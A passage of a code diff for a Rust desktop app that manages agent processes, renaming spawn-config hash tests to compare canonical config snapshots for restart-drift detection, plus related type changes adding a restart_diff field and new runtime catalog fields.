crate::managed_agents::types::RespondTo; use std::collections::BTreeMap; +/// Canonical projection of a prospective snapshot — the exact value the drift +/// comparison reads, so these tests assert on drift itself rather than on a +/// proxy for it. +fn snapshot( + record: &ManagedAgentRecord, + personas: &[AgentDefinition], + teams: &[TeamRecord], + workspace_relay: &str, + global: &GlobalAgentConfig, +) -> serde_json::Value { + prospective_spawn_config_snapshot(record, personas, teams, workspace_relay, global).canonical() +} + fn record() -> ManagedAgentRecord { ManagedAgentRecord { pubkey: "p".repeat(64), @@ -86,22 +99,22 @@ fn persona(id: &str, runtime: Option<&str>, prompt: &str) -> AgentDefinition { } #[test] -fn hash_is_deterministic() { +fn snapshot_is_deterministic() { let rec = record(); assert_eq!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn materializing_runtime_keeps_hash_stable() { +fn materializing_runtime_keeps_snapshot_stable() { // Migration cutover invariant (Phase 1A): materializing the linked - // persona's runtime onto the record must NOT change the spawn hash — + // persona's runtime onto the record must NOT change the spawn snapshot — // otherwise every running persona-linked agent would show a spurious // restart badge right after migration. Pre-migration the command resolves // through the persona fallback; post-migration through record.runtime. - // Same persona, same runtime, same command → same hash. + // Same persona, same runtime, same command → equal snapshots. let personas = vec![persona("p1", Some("goose"), "Persona prompt.")]; let mut pre = record(); @@ -111,14 +124,14 @@ fn materializing_runtime_keeps_hash_stable() { post.runtime = Some("goose".into()); assert_eq!( - spawn_config_hash( + snapshot( &pre, &personas, &[], "wss://ws.example", &Default::default() ), - spawn_config_hash( + snapshot( &post, &personas, &[], @@ -129,31 +142,31 @@ fn materializing_runtime_keeps_hash_stable() { } #[test] -fn record_env_var_edit_changes_hash() { +fn record_env_var_edit_changes_snapshot() { let rec = record(); let mut edited = record(); edited .env_vars .insert("SOME_KEY".into(), "some-value".into()); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn record_prompt_edit_changes_hash() { +fn record_prompt_edit_changes_snapshot() { let rec = record(); let mut edited = record(); edited.system_prompt = Some("Edited prompt.".into()); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn persona_runtime_edit_changes_hash() { +fn persona_runtime_edit_changes_snapshot() { // The harness command resolves live personas at spawn, so a persona // runtime change means a restart WOULD change what runs → badge trips. let mut rec = record(); @@ -161,13 +174,13 @@ fn persona_runtime_edit_changes_hash() { let before = [persona("pers", Some("goose"), "prompt")]; let after = [persona("pers", Some("claude"), "prompt")]; assert_ne!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()) ); } #[test] -fn persona_prompt_edit_changes_hash() { +fn persona_prompt_edit_changes_snapshot() { // Start/restore re-snapshot the persona prompt onto the record right // before spawning, so a persona prompt edit DOES apply on a plain // restart → the badge must trip. @@ -176,13 +189,13 @@ fn persona_prompt_edit_changes_hash() { let before = [persona("pers", Some("goose"), "old prompt")]; let after = [persona("pers", Some("goose"), "new prompt")]; assert_ne!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()) ); } #[test] -fn workspace_relay_change_trips_hash_even_for_stored_record_relay() { +fn workspace_relay_change_trips_snapshot_even_for_stored_record_relay() { // The legacy per-record relay pin is ignored (#2122): every record spawns // against the active workspace relay, so a workspace relay change means a // restart would change what runs — pinned records included. @@ -192,13 +205,13 @@ fn workspace_relay_change_trips_hash_even_for_stored_record_relay() { "fixture should carry a legacy pin" ); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://relay-a.example", &Default::default()), - spawn_config_hash(&rec, &[], &[], "wss://relay-b.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://relay-a.example", &Default::default()), + snapshot(&rec, &[], &[], "wss://relay-b.example", &Default::default()) ); } #[test] -fn stored_record_relay_does_not_affect_hash() { +fn stored_record_relay_does_not_affect_snapshot() { // Editing the (ignored) stored pin must not badge a restart: what a // restart would run is identical either way. let mut a = record(); @@ -206,20 +219,20 @@ fn stored_record_relay_does_not_affect_hash() { a.relay_url = String::new(); b.relay_url = "wss://legacy-pin.example".into(); assert_eq!( - spawn_config_hash(&a, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&b, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&a, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&b, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn respond_to_allowlist_edit_changes_hash() { +fn respond_to_allowlist_edit_changes_snapshot() { let rec = record(); let mut edited = record(); edited.respond_to = RespondTo::Allowlist; edited.respond_to_allowlist = vec!["a".repeat(64)]; assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } @@ -231,13 +244,13 @@ fn allowlist_ignored_when_mode_is_not_allowlist() { let mut edited = record(); edited.respond_to_allowlist = vec!["a".repeat(64)]; assert_eq!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn allowlist_normalization_equivalent_edits_do_not_change_hash() { +fn allowlist_normalization_equivalent_edits_do_not_change_snapshot() { // The env receives the normalized list (trim/lowercase/dedup), so edits // that normalize to the same value must not badge. let mut rec = record(); @@ -249,48 +262,48 @@ fn allowlist_normalization_equivalent_edits_do_not_change_hash() { "a".repeat(64), // duplicate ]; assert_eq!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn allowlist_content_edit_still_changes_hash() { +fn allowlist_content_edit_still_changes_snapshot() { let mut rec = record(); rec.respond_to = RespondTo::Allowlist; rec.respond_to_allowlist = vec!["a".repeat(64)]; let mut edited = rec.clone(); edited.respond_to_allowlist = vec!["b".repeat(64)]; assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn explicit_max_turn_duration_changes_hash_from_none() { +fn explicit_max_turn_duration_changes_snapshot_from_none() { let rec = record(); let mut edited = record(); edited.max_turn_duration_seconds = Some(7200); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn non_default_max_turn_duration_changes_hash() { +fn non_default_max_turn_duration_changes_snapshot() { let rec = record(); let mut edited = record(); edited.max_turn_duration_seconds = Some(42); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] -fn non_spawn_bookkeeping_fields_do_not_change_hash() { +fn non_spawn_bookkeeping_fields_do_not_change_snapshot() { // updated_at / runtime_pid / last_* are lifecycle bookkeeping, not spawn // inputs — routine record saves must not trip the badge. let rec = record(); @@ -300,17 +313,17 @@ fn non_spawn_bookkeeping_fields_do_not_change_hash() { edited.last_started_at = Some("later".into()); edited.last_exit_code = Some(0); assert_eq!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()) + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()) ); } #[test] fn resnapshot_does_not_clobber_record_quad_with_definition_absent_quad() { - // B5 hash row 3: the prospective re-snapshot copies ONLY + // B5 drift row 3: the prospective re-snapshot copies ONLY // prompt/model/provider/env from the linked definition. An instance // whose owner hand-set respond_to/allowlist/parallelism must - // hash identically whether or not its definition carries a quad — + // snapshot identically whether or not its definition carries a quad — // activation of the definition-level defaults must never reach through // spawn and overwrite instance state. let quadless_definition = vec![persona("p1", Some("goose"), "Persona prompt.")]; @@ -326,44 +339,44 @@ fn resnapshot_does_not_clobber_record_quad_with_definition_absent_quad() { definition_with_quad[0].parallelism = Some(8); assert_eq!( - spawn_config_hash( + snapshot( &rec, &quadless_definition, &[], "wss://ws.example", &Default::default() ), - spawn_config_hash( + snapshot( &rec, &definition_with_quad, &[], "wss://ws.example", &Default::default() ), - "definition quad must not leak into the spawn hash of an existing instance" + "definition quad must not leak into the spawn snapshot of an existing instance" ); } #[test] -fn empty_prompt_hashes_like_absent_prompt() { - // B5 hash row 2 foundation: Some("") and None spawn identically (env var - // absent either way), so they must hash equal — a backfilled prompt-less +fn empty_prompt_snapshots_like_absent_prompt() { + // B5 drift row 2 foundation: Some("") and None spawn identically (env var + // absent either way), so they must snapshot equal — a backfilled prompt-less // record re-snapshots to Some("") and must not trip the badge. let mut absent = record(); absent.system_prompt = None; let mut empty = record(); empty.system_prompt = Some(String::new()); assert_eq!( - spawn_config_hash(&absent, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&empty, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&absent, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&empty, &[], &[], "wss://ws.example", &Default::default()), ); } -/// (a) A definition-runtime edit must change spawn_config_hash for a +/// (a) A definition-runtime edit must change the snapshot for a /// materialized, override-free record — the prospective re-snapshot now -/// copies the persona's runtime onto the record before hashing. +/// copies the persona's runtime onto the record before snapshotting. #[test] -fn definition_runtime_edit_changes_hash_for_materialized_record() { +fn definition_runtime_edit_changes_snapshot_for_materialized_record() { let mut rec = record(); rec.persona_id = Some("pers".into()); rec.runtime = Some("goose".into()); // materialized runtime on instance @@ -371,8 +384,8 @@ fn definition_runtime_edit_changes_hash_for_materialized_record() { let before = [persona("pers", Some("goose"), "prompt")]; let after = [persona("pers", Some("claude"), "prompt")]; assert_ne!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()), "definition runtime edit must badge a materialized, override-free instance" ); } @@ -389,8 +402,8 @@ fn known_runtime_pin_yields_to_definition_runtime_change() { let before = [persona("pers", Some("goose"), "prompt")]; let after = [persona("pers", Some("claude"), "prompt")]; assert_ne!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()), "stale known-runtime pin must not shadow a definition runtime edit" ); } @@ -407,16 +420,16 @@ fn custom_command_override_beats_definition_runtime_change() { let before = [persona("pers", Some("goose"), "prompt")]; let after = [persona("pers", Some("claude"), "prompt")]; assert_eq!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()), "custom command override must win regardless of definition runtime change" ); } /// (d) When the linked definition is absent the prospective re-snapshot is -/// skipped entirely: the materialized runtime must still affect the hash. +/// skipped entirely: the materialized runtime must still reach the snapshot. #[test] -fn missing_definition_leaves_materialized_runtime_in_hash() { +fn missing_definition_leaves_materialized_runtime_in_snapshot() { let mut rec = record(); rec.persona_id = Some("missing".into()); rec.runtime = Some("goose".into()); // materialized runtime @@ -427,28 +440,28 @@ fn missing_definition_leaves_materialized_runtime_in_hash() { no_runtime.runtime = None; assert_ne!( - spawn_config_hash( + snapshot( &rec, no_personas, &[], "wss://ws.example", &Default::default() ), - spawn_config_hash( + snapshot( &no_runtime, no_personas, &[], "wss://ws.example", &Default::default() ), - "materialized runtime must still affect hash when definition is absent" + "materialized runtime must still reach the snapshot when definition is absent" ); } -// ── Global default trips hash for linked inherited agents ───────────────── +// ── Global default trips drift for linked inherited agents ─────────────── #[test] -fn global_model_change_trips_hash_for_linked_inherited_agent() { +fn global_model_change_trips_snapshot_for_linked_inherited_agent() { let mut rec = record(); rec.persona_id = Some("p1".into()); rec.model = Some("stale-record-model".into()); @@ -466,17 +479,17 @@ fn global_model_change_trips_hash_for_linked_inherited_agent() { ..Default::default() }; - let hash_a = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_a); - let hash_b = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_b); + let snapshot_a = snapshot(&rec, &personas, &[], "wss://ws.example", &global_a); + let snapshot_b = snapshot(&rec, &personas, &[], "wss://ws.example", &global_b); assert_ne!( - hash_a, hash_b, - "changing the global default must trip the hash for a linked inherited agent" + snapshot_a, snapshot_b, + "changing the global default must drift a linked inherited agent" ); } #[test] -fn global_model_change_trips_hash_without_model_env_var() { +fn global_model_change_trips_snapshot_without_model_env_var() { let mut rec = record(); rec.persona_id = Some("p1".into()); rec.agent_command = "some-harness-without-model-env".into(); @@ -497,26 +510,26 @@ fn global_model_change_trips_hash_without_model_env_var() { ..Default::default() }; - let hash_a = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_a); - let hash_b = spawn_config_hash(&rec, &personas, &[], "wss://ws.example", &global_b); + let snapshot_a = snapshot(&rec, &personas, &[], "wss://ws.example", &global_a); + let snapshot_b = snapshot(&rec, &personas, &[], "wss://ws.example", &global_b); assert_ne!( - hash_a, hash_b, - "global model change must trip hash even without a model_env_var runtime" + snapshot_a, snapshot_b, + "global model change must drift even without a model_env_var runtime" ); } #[test] -fn linked_instance_stale_prompt_bytes_are_inert_at_hash_time() { +fn linked_instance_stale_prompt_bytes_are_inert_at_snapshot_time() { // Regression for the split-resolve defect: prompt used to be read from // the record's own (possibly Phase-A-snapshot-stale) bytes while // model/provider were resolved live from the definition. A definition // edit landing between a caller's snapshot apply and spawn could hand a - // fresh model/provider to a stale prompt, and the hash (which already + // fresh model/provider to a stale prompt, and the drift check (which already // resolved model/provider live) would silently agree with a spawn that // wrote the stale prompt. Now both come from one `resolve_effective_config` // call, so a record whose own `system_prompt` bytes disagree with the - // live definition must hash exactly as if the record carried the + // live definition must snapshot exactly as if the record carried the // definition's prompt verbatim — the record's prompt bytes are inert for // a linked instance. let mut rec = record(); @@ -529,26 +542,26 @@ fn linked_instance_stale_prompt_bytes_are_inert_at_hash_time() { let personas = [persona("p1", Some("goose"), "live prompt")]; assert_eq!( - spawn_config_hash( + snapshot( &rec, &personas, &[], "wss://ws.example", &Default::default() ), - spawn_config_hash( + snapshot( &matching_bytes, &personas, &[], "wss://ws.example", &Default::default() ), - "record's own system_prompt bytes must not affect the hash of a linked instance" + "record's own system_prompt bytes must not affect the snapshot of a linked instance" ); } #[test] -fn display_name_edit_changes_hash() { +fn display_name_edit_changes_snapshot() { // The spawn writes BUZZ_ACP_SESSION_TITLE from display_name-or-name, so a // rename must trip the badge: the running process keeps the old title // until it restarts, and the operator has to be told that. @@ -556,32 +569,32 @@ fn display_name_edit_changes_hash() { let mut renamed = record(); renamed.display_name = Some("Fizz".into()); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&renamed, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&renamed, &[], &[], "wss://ws.example", &Default::default()), "a display-name rename changes the spawned session title and must badge" ); } #[test] -fn name_edit_changes_hash_when_display_name_is_absent() { +fn name_edit_changes_snapshot_when_display_name_is_absent() { // With no display_name the title falls back to the unique handle, so the - // handle is what the env write carries and what must be hashed. + // handle is what the env write carries and what must be snapshotted. let rec = record(); let mut renamed = record(); renamed.name = "agent-2".into(); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&renamed, &[], &[], "wss://ws.example", &Default::default()), - "the fallback title source must reach the hash too" + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&renamed, &[], &[], "wss://ws.example", &Default::default()), + "the fallback title source must reach the snapshot too" ); } #[test] -fn display_name_edit_does_not_change_hash_under_an_explicit_title_override() { +fn display_name_edit_does_not_change_snapshot_under_an_explicit_title_override() { // User env is written AFTER the Buzz-set title (last-wins), so an explicit // BUZZ_ACP_SESSION_TITLE is what the child actually runs with. Renaming the // record changes nothing about the spawned process, so badging it would be - // a false restart prompt. The override itself still reaches the hash + // a false restart prompt. The override itself still reaches the snapshot // through the effective env. let mut rec = record(); rec.env_vars @@ -589,14 +602,14 @@ fn display_name_edit_does_not_change_hash_under_an_explicit_title_override() { let mut renamed = rec.clone(); renamed.display_name = Some("Fizz".into()); assert_eq!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&renamed, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&renamed, &[], &[], "wss://ws.example", &Default::default()), "a rename shadowed by an explicit title override must not badge" ); } #[test] -fn title_override_edit_changes_hash() { +fn title_override_edit_changes_snapshot() { // Counterpart to the test above: the override is not inert — editing it // changes what the child runs with and must badge. let mut rec = record(); @@ -607,8 +620,8 @@ fn title_override_edit_changes_hash() { .env_vars .insert("BUZZ_ACP_SESSION_TITLE".into(), "Other Title".into()); assert_ne!( - spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&edited, &[], &[], "wss://ws.example", &Default::default()), "editing an explicit title override must badge" ); } @@ -616,7 +629,7 @@ fn title_override_edit_changes_hash() { #[test] fn linked_instance_prompt_model_provider_resolve_from_one_call() { // The prompt for a linked instance must track the definition, exactly - // like model/provider — a definition prompt edit trips the hash even + // like model/provider — a definition prompt edit drifts the snapshot even // though the record's own (stale) system_prompt bytes are unchanged. let mut rec = record(); rec.persona_id = Some("p1".into()); @@ -626,25 +639,25 @@ fn linked_instance_prompt_model_provider_resolve_from_one_call() { let after = [persona("p1", Some("goose"), "new definition prompt")]; assert_ne!( - spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()), - spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()), + snapshot(&rec, &after, &[], "wss://ws.example", &Default::default()), "linked instance prompt must resolve from the live definition, not stale record bytes" ); } -// ── I2: definition args and env reach spawn_config_hash ────────────────────── +// ── I2: definition args and env reach the snapshot ─────────────────────────── // // These tests prove that editing a custom harness definition's args or env -// changes spawn_config_hash, which trips the "restart required" badge. -// They would fail if spawn_config_hash used only record.agent_args without +// change the snapshot, which trips the "restart required" badge. +// They would fail if the snapshot used only record.agent_args without // falling back to definition args, or if resolve_effective_agent_env did not // include definition env. /// When a record has no instance args but the definition has default args, -/// changing the definition args changes the spawn hash. This would fail if -/// spawn_config_hash used only record.agent_args. +/// changing the definition args changes the snapshot. This would fail if +/// the snapshot used only record.agent_args. #[test] -fn spawn_hash_changes_when_definition_default_args_change() { +fn spawn_snapshot_changes_when_definition_default_args_change() { use crate::managed_agents::custom_harnesses::{ registry_test_lock, warm_harness_registry_from_dir, }; @@ -652,8 +665,8 @@ fn spawn_hash_changes_when_definition_default_args_change() { use tempfile::tempdir; // The loaded-harness registry is process-global: a parallel test re-warming - // it between the two hash computations makes both resolve to no-definition - // and h1 == h2 (observed on Windows CI). + // it between the two snapshots makes both resolve to no-definition + // and s1 == s2 (observed on Windows CI). let _lock = registry_test_lock(); let dir = tempdir().unwrap(); @@ -669,7 +682,7 @@ fn spawn_hash_changes_when_definition_default_args_change() { r.runtime = Some("my-def".into()); r.agent_args = vec![]; // no instance args → definition args are used - let h1 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default()); + let s1 = snapshot(&r, &[], &[], "ws://relay", &Default::default()); // Update to v2 args and re-warm (simulating save + transactional refresh). fs::write( @@ -679,18 +692,18 @@ fn spawn_hash_changes_when_definition_default_args_change() { .unwrap(); warm_harness_registry_from_dir(Some(dir.path())); - let h2 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default()); + let s2 = snapshot(&r, &[], &[], "ws://relay", &Default::default()); assert_ne!( - h1, h2, - "changing definition default args must change the spawn hash" + s1, s2, + "changing definition default args must change the snapshot" ); } -/// When a definition has env vars, adding them changes the spawn hash. This +/// When a definition has env vars, adding them changes the snapshot. This /// proves resolve_effective_agent_env includes definition env in the layering. #[test] -fn spawn_hash_changes_when_definition_env_changes() { +fn spawn_snapshot_changes_when_definition_env_changes() { use crate::managed_agents::custom_harnesses::{ registry_test_lock, warm_harness_registry_from_dir, }; @@ -712,7 +725,7 @@ fn spawn_hash_changes_when_definition_env_changes() { let mut r = record(); r.runtime = Some("env-def".into()); - let h1 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default()); + let s1 = snapshot(&r, &[], &[], "ws://relay", &Default::default()); // Update to include env and re-warm. fs::write( @@ -722,16 +735,16 @@ fn spawn_hash_changes_when_definition_env_changes() { .unwrap(); warm_harness_registry_from_dir(Some(dir.path())); - let h2 = spawn_config_hash(&r, &[], &[], "ws://relay", &Default::default()); + let s2 = snapshot(&r, &[], &[], "ws://relay", &Default::default()); - assert_ne!(h1, h2, "adding definition env must change the spawn hash"); + assert_ne!(s1, s2, "adding definition env must change the snapshot"); } /// Instance-level args win over definition default args (non-empty instance -/// args must NOT be overridden by the definition). The hash must match a record +/// args must NOT be overridden by the definition). The snapshot must match a record /// that has the same effective args from either source. #[test] -fn spawn_hash_instance_args_win_over_definition_args() { +fn spawn_snapshot_instance_args_win_over_definition_args() { use crate::managed_agents::custom_harnesses::{ registry_test_lock, warm_harness_registry_from_dir, }; @@ -756,12 +769,61 @@ fn spawn_hash_instance_args_win_over_definition_args() { r_no_instance.runtime = Some("arg-def".into()); r_no_instance.agent_args = vec![]; - let h_instance = spawn_config_hash(&r_instance, &[], &[], "ws://relay", &Default::default()); - let h_no_instance = - spawn_config_hash(&r_no_instance, &[], &[], "ws://relay", &Default::default()); + let snapshot_instance = snapshot(&r_instance, &[], &[], "ws://relay", &Default::default()); + let snapshot_no_instance = + snapshot(&r_no_instance, &[], &[], "ws://relay", &Default::default()); + + assert_ne!( + snapshot_instance, snapshot_no_instance, + "instance args and definition args must produce different snapshots" + ); +} + +// ── Parallelism cap: above-cap equivalence + cap crossing ───────────────────── +// +// The snapshot stores the *effective* parallelism (min(requested, harness cap)) +// so that over-cap edits that don't change the running pool size do not raise a +// spurious "restart required" badge, while cap crossings (e.g. 8 → 3, where 3 +// is below the cap) still badge because the pool actually changes. + +/// Two over-cap parallelism values (10 and 8) produce the same snapshot for +/// OpenClaw: both clamp to OPENCLAW_MAX_PARALLELISM (5). +#[test] +fn openclaw_above_cap_parallelism_snapshots_equal() { + let mut at_10 = record(); + at_10.runtime = Some("openclaw".into()); + at_10.agent_command = "openclaw".into(); + at_10.parallelism = 10; + + let mut at_8 = record(); + at_8.runtime = Some("openclaw".into()); + at_8.agent_command = "openclaw".into(); + at_8.parallelism = 8; + + assert_eq!( + snapshot(&at_10, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&at_8, &[], &[], "wss://ws.example", &Default::default()), + "parallelism 10 and 8 both clamp to 5 for OpenClaw — snapshots must be equal, no restart badge" + ); +} + +/// A cap-crossing edit (8 → 3) produces different snapshots: 8 clamps to 5, +/// but 3 is below the cap and runs as 3 — the pool changes, so the badge fires. +#[test] +fn openclaw_cap_crossing_parallelism_snapshots_differ() { + let mut at_8 = record(); + at_8.runtime = Some("openclaw".into()); + at_8.agent_command = "openclaw".into(); + at_8.parallelism = 8; + + let mut at_3 = record(); + at_3.runtime = Some("openclaw".into()); + at_3.agent_command = "openclaw".into(); + at_3.parallelism = 3; assert_ne!( - h_instance, h_no_instance, - "instance args and definition args must produce different hashes" + snapshot(&at_8, &[], &[], "wss://ws.example", &Default::default()), + snapshot(&at_3, &[], &[], "wss://ws.example", &Default::default()), + "parallelism 8 (clamps to 5) and 3 (runs as 3) must produce different snapshots" ); } diff --git a/desktop/src-tauri/src/managed_agents/types.rs b/desktop/src-tauri/src/managed_agents/types.rs index fcd8b13fc9..e5be105fed 100644 --- a/desktop/src-tauri/src/managed_agents/types.rs +++ b/desktop/src-tauri/src/managed_agents/types.rs @@ -462,13 +462,12 @@ pub struct RelayMeshConfig { pub struct ManagedAgentProcess { pub child: Child, pub log_path: PathBuf, - /// Digest of the effective spawn config at launch (see - /// `spawn_hash::spawn_config_hash`). Runtime-only — never persisted. The - /// summary builder recomputes the hash from current disk state and flags - /// `needs_restart` on mismatch. Agents adopted via a persisted - /// `runtime_pid` have no `ManagedAgentProcess` entry, so their spawn - /// config is unknown and the badge stays off. - pub spawn_config_hash: u64, + /// The effective spawn config this process was launched with (see + /// `spawn_snapshot::SpawnConfigSnapshot`). Runtime-only — never persisted. + /// The summary builder recomputes a prospective snapshot and reports + /// differing fields via `ManagedAgentSummary::restart_diff`. Agents + /// adopted via `runtime_pid` have none; their config is unknown. + pub spawn_config: super::spawn_snapshot::SpawnConfigSnapshot, /// Whether this process was spawned in setup-listener mode (i.e. /// `BUZZ_ACP_SETUP_PAYLOAD` was set at launch because the agent was /// `NotReady`). Runtime-only — never persisted. Used by @@ -541,13 +540,14 @@ pub struct ManagedAgentSummary { /// `OrphanedInstance` arm via `require_resolved`) — so the UI /// should surface that it's stuck, not merely stale. pub persona_orphaned: bool, - /// `true` when the running process was spawned with a config that no - /// longer matches what a spawn would use today — a plain restart would - /// change what runs. Complements `persona_out_of_date`: the badge means - /// "a restart would change what runs"; out-of-date means "a respawn - /// would." Always `false` for stopped agents and for processes adopted - /// via a persisted `runtime_pid` (their spawn config is unknown). + /// `true` when the running process's spawn config no longer matches + /// what a spawn would use today. Derived from `restart_diff` — lit + /// exactly when there is something to show. Always `false` for stopped, + /// orphaned, or `runtime_pid`-adopted agents. pub needs_restart: bool, + /// Fields that drifted since launch, redacted for display. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub restart_diff: Vec, #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] pub env_vars: BTreeMap, pub backend: BackendKind, @@ -594,10 +594,8 @@ pub enum AcpAvailabilityStatus { NotInstalled, } -/// Authentication/login status for a CLI-based ACP runtime. -/// -/// Serializes as a tagged union `{ status: "...", diagnostic?: "..." }` so -/// the TypeScript side can exhaustively switch on `status`. +/// Authentication/login status for a CLI-based ACP runtime. Serializes as a tagged union +/// `{ status: "...", diagnostic?: "..." }` so the TypeScript side can exhaustively switch on `status`. #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] #[serde(rename_all = "snake_case", tag = "status")] pub enum AuthStatus { @@ -616,8 +614,7 @@ pub enum AuthStatus { Unknown, } -/// Origin of an ACP runtime catalog entry. Serializes as a lowercase string -/// so the TypeScript consumer can switch on it without numeric comparisons. +/// Origin of an ACP runtime catalog entry. Serializes as a lowercase string so the TypeScript consumer can switch on it without numeric comparisons. #[derive(Debug, Clone, Serialize, PartialEq, Eq)] #[serde(rename_all = "snake_case")] pub enum HarnessSource { @@ -645,6 +642,9 @@ pub struct AcpRuntimeCatalogEntry { pub provider_env_var: Option, /// Environment variable used to apply thinking effort, when supported. pub thinking_env_var: Option, + pub max_tokens_env_var: Option, + pub context_limit_env_var: Option, + pub max_rounds_env_var: Option, pub install_hint: String, pub install_instructions_url: String, /// true when at least one automated install step is available @@ -663,16 +663,14 @@ pub struct AcpRuntimeCatalogEntry { /// Whether this entry came from the compiled-in catalog or a user-supplied /// JSON file in `custom_harnesses/`. The UI uses this to decide editability. pub source: HarnessSource, - /// Definition-level environment variables for `source: custom` entries. - /// - /// Populated from `HarnessDefinition.env` so the edit form can read them - /// back and the user doesn't silently lose env vars when saving. Always - /// empty for `builtin` and `preset` entries (those env values come from the - /// runtime metadata path, not user-editable JSON). - /// - /// Skipped in serialization when empty to keep the catalog payload compact. + /// Definition-level env vars for `source: 